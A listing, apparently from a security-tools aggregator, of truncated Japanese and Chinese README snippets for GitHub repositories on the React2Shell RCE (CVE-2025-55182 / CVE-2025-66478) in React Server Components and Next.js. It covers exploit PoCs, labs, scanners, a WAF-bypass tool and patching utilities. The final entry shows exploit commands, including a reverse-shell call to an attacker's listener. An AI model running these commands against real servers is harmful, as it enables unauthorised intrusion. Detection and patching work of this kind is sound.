CVE-2025-55182

CVE-2025-55182 原著者:https://github.com/msanft/CVE-2025-55182 この脆弱性により、React Server Functions（例: Next.js が提供するもの）において、安全でないプロトタイプ参照を通じて RCE が可能になります。 私は React や Next.js の専門家ではないため、ここにある情報は参考程度に受け取ってください。 背景 React は Server Functions1 を提供しており、これはある種の RPC-over-HTTP...

CVE-2025-55182-Lab

CVE-2025-55182 实验环境 用于利用 CVE-2025-55182 React2Shell 的动手实验环境 — React 服务端组件中的远程代码执行。 ⚠️ 免责声明 仅用于教育目的。 仅在你拥有的系统上进行测试。 快速开始 root@kitploit: 克隆并启动 git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd CVE-2025-55182-Lab docker-compose up -d 等待20秒，然后利用 python3 exploit.py...

React-Server-Components-Remote-Code-Execution-CVE-2025-55182-

此存储库没有 README。...

CVE-2025-55182

CVE-2025-55182 - Tool React2Shell React2Shell Ultimate Scanner v2.0 CVE-2025-66478 に対するプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、React Server Components RSC を使用する Next.js アプリケーションに影響する重大なリモートコード実行 RCE 脆弱性 CVE-2025-66478 向けの包括的な脆弱性スキャナーです。 🆕 v2.0 の新機能 バージョン 2.0...

CVE-2025-55182-react2shell

CVE-2025-55182：暴露的 React 服务器组件（RSC）检测器 此仓库包含一个 Nuclei 模板 ，用于检测与 CVE-2025-55182 相关的 React 服务器组件暴露 。该漏洞影响使用 React/Next.js 构建的应用程序，其中 RSC 协商层意外暴露，允许攻击者与服务器组件交互，并可能实现基于反序列化的远程代码执行。 该模板执行一次 良性 RSC 握手 ，并识别出响应 RSC 组件流（text/x-component）而非阻止请求的端点。 该模板检测的内容 当目标满足以下条件时，将被标记为存在漏洞： 在收到 RSC 协商标头后，响应...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 認証不要のRCE in React Server Components Flight Protocol - PoCエクスプロイト 説明 React Server Components（Flightプロトコル）は、攻撃者が制御する multipart/form-data を、プロトタイプチェーンへのアクセスを検証せずにデシリアライズします。Next-Action ヘッダーを含む単一の認証不要のPOSTリクエストによって、細工された参照チェーン（$1:proto:then +...

CVE-2025-55182

CVE-2025-55182 – React Server Components リモートコード実行 作成者 : Virendra Kumar 会社 : Cyber Leelawat ウェブサイト :...

React-2-Shell

これはCVE-2025-55182を標的としたセキュリティエクスプロイトツールです。 React Server Componentsのリモートコード実行（RCE）脆弱性を悪用します。 🔥 CVE-2025-55182 背景...

react2shell-exploit

CVE-2025-55182 – React2Shell Next.js 中的远程代码执行 ⚠️ 免责声明 ：本文档仅用于教育和安全研究目的 。未经授权对您不拥有或未获得明确测试许可的系统使用这些技术是非法的 。 📋 目录 1. 概述 2. 工作原理 3. 安装与设置 4. 分步利用 5. 结果与影响 6. 缓解策略 概述 CVE-2025-55182 ，又称 React2Shell ，是一个影响使用以下功能的 Next.js 应用程序的严重漏洞： React 服务器组件（RSC） 服务器操作（Server Actions） 为什么危险？...

React2Shell-PoC

React2Shell-PoC CVE-2025-55182 および CVE-2025-66478 の概念実証エクスプロイトです。これらは React Server Components RSC と Next.js アプリケーションにおける深刻なリモートコード実行の脆弱性です。 概要 React2Shell は、Next.js のサーバーアクションハンドラーにおける安全でないデシリアライゼーションの悪用を実証します。これにより、認証されていない攻撃者が特別に細工されたマルチパートフォームデータペイロードを使用して、脆弱なサーバー上で任意のコマンドを実行できるようになります。 ツール...

CVE-2025-66478-POC

CVE-2025-66478 概念実証 中文版本 / Chinese Version 漏洞概述 CVE-2025-66478 是一个影响 Next.js 应用程序的严重远程代码执行 RCE 漏洞，源于 React Server Components RSC 协议中的不安全反序列化问题。该漏洞的 CVSS 评分为 10.0 （最高级别），允许未经身份验证的攻击者通过特制的 HTTP 请求在易受攻击的服务器上执行任意代码。 技术细节 漏洞根源 该漏洞源于上游 React 实现中的不安全反序列化逻辑（CVE-2025-55182），并影响使用 App Router 的 Next.js...

React2Shell_Rce-cve-2025-55182

React Server Components RCE – README こんにちは。画面の向こう側でもすべてが素晴らしいことを願っています！😊✨ 説明 React Server Components のバージョン 19.0.0 、19.1.0 、19.1.1 、19.2.0 （react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack を含む）には、リモートコード実行の脆弱性があります。 この問題は、Server Function...

CVE-2025-55182-PoC

⚡ React2Shell エクスプロイト PoC CVE-2025-66478 Next.js サーバーコンポーネントにおけるプロトタイプ汚染を介したリモートコード実行 RCE 🕵️‍♂️ 概要 このリポジトリには、特定のバージョンの React Server Components RSC を使用する Next.js アプリケーションに影響する深刻な脆弱性 CVE-2025-66478 一部の文脈では CVE-2025-55182 としても参照 の概念実証 PoC が含まれています。 RSCのシリアル化プロセスを操作することで、認証されていない攻撃者がプロトタイプ汚染 proto:then...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell 作者: infrar3d React.jsのサーバーサイド使用に影響する重大度10.0の深刻な脆弱性で、React.jsではCVE-2025-55182、Next.jsフレームワークではCVE-2025-66478として追跡されています。 この脆弱性は、2025年11月29日PTにLachlan Davidson氏によってMetaチームに責任を持って開示されました 。最初の開示とパッチリリースは、2025年12月3日PTにReactおよびVercelによって行われました。（原文：https://react2shell.com/）...

nextjs-security-update

nextjs-security-update 新たなNext.jsの脆弱性を悪用するOSSツールを開発する人々がいます。これは対抗するためのツールです。すべてのNext.jsアプリを、すべてのGitHubアカウントにわたって極めて簡単にアップグレードできます。 内部では公式Vercel修正ツールを使用しています。 何が起きたか 2025年12月11日：Next.jsは、App Routerを使用するReact Server Componentsに影響する複数の重大な脆弱性を開示しました。 CVE-2025-66478 RCE CVE-2025-55183 Source Code...

React2Shell_CVE-2025-55182

CVE-2025-55182 模块化利用工具与WAF绕过 提供交互式shell的Python脚本，用于利用易受攻击的React Server Components和Next.js应用程序中的关键RCE漏洞（CVE-2025-55182）。该漏洞利用针对反序列化缺陷，允许未经身份验证的远程代码执行。它包含一个用于添加WAF绕过技术的模块化系统。 !NOTE 此漏洞利用工具旨在与易受攻击的RSC协议端点交互。执行结果通过服务器的响应机制捕获。不产生输出结果的命令将返回empty。 !CAUTION 此代码仅用于研究和教育目的...

React2Shell

React2Shell CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE. リポジトリ構成 root@kitploit: React2Shell/ ├── browser-extension/ Chrome拡張機能（ブラウザベースの検出） │ ├── manifest.json │ ├── content.js │ ├── popup.html/js │ └── background.js ├── cli/ コマンドラインスキャナー＆エクスプロイトツール │ ├──...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Webを壊した逆シリアル化のバグ ⚡ React2Shell、CVE-2025-55182、RCEの脆弱性：React Server Componentsにおける安全でない逆シリアル化の欠陥を詳細に解説。これにより、デフォルトのReact/Next.js構成で認証不要のリモートコード実行が可能になります。 ⏩ TL;DR React2Shell CVE-2025-55182 は、React 19.xおよびNext.jsなどのフレームワークのReact Server Components RSC に影響を与える重大なリモートコード実行...

mitigate-cve-2026-23869-react-server-component-loops

如何修复 CVE-2026-23869：缓解 React 服务端组件循环 保护现代企业前端应用需要持续监控服务端数据获取布局和框架组件生命周期。随着 CVE-2026-23869 的近期公开披露，工程团队正面临与 React 服务端组件内不受控制的渲染循环相关的严重漏洞。这一关键安全漏洞允许未经身份验证的网络请求触发递归渲染状态，从而瞬间耗尽后端服务器内存层。若未及时修补，一波自动化利用流量可能导致应用程序容器永久冻结，并在云基础设施中造成全面的网络拒绝服务日志。 为确保您的部署流水线安全，Web...

CVE-2025-55182

Next.js React 服务端组件 RCE 漏洞利用 通过原型污染利用 CVE-2025-55182 实现远程代码执行。 安装 root@kitploit: uv sync 使用方法 命令执行 root@kitploit: source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" 反弹 Shell root@kitploit: python3 exploit.py -u https://example.com -r -l YOURIP -p 4444 -P nc-mkfifo 选项 -u,...